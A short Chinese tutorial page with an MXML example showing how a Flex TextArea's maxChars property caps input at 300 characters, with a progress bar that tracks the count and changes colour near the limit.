天天看点

Flex中如何通过maxChars属性,限制TextArea控件中允许输入的字数

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

  main.mxml

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
  3.         layout="vertical"
  4.         verticalAlign="middle"
  5.         backgroundColor="white">
  6.     <mx:Script>
  7.         <![CDATA[
  8.             private function textArea_change(evt:Event):void {
  9.                 var ta:TextArea = evt.currentTarget as TextArea;
  10.                 progressBar.setProgress(ta.length, ta.maxChars);
  11.             }
  12.             private function progressBar_progress(evt:ProgressEvent):void {
  13.                 var pb:ProgressBar = evt.currentTarget as ProgressBar;
  14.                 if (pb.percentComplete > 95) {
  15.                     pb.setStyle("themeColor", "red");
  16.                 } else if (pb.percentComplete > 80) {
  17.                     pb.setStyle("themeColor", "yellow");
  18.                 } else {
  19.                     pb.setStyle("themeColor", "haloGreen");
  20.                 }
  21.             }
  22.         ]]>
  23.     </mx:Script>
  24.     <mx:Panel>
  25.         <mx:TextArea id="textArea"
  26.                 width="320"
  27.                 height="120"
  28.                 maxChars="300"
  29.                 change="textArea_change(event);" />
  30.         <mx:ControlBar>
  31.             <mx:ProgressBar id="progressBar"
  32.                     mode="manual"
  33.                     minimum="0"
  34.                     maximum="{textArea.maxChars}"
  35.                     label="%1 of %2 characters (%3%%)"
  36.                     labelPlacement="center"
  37.                     width="100%"
  38.                     progress="progressBar_progress(event);" />
  39.         </mx:ControlBar>
  40.     </mx:Panel>
  41. </mx:Application>

继续阅读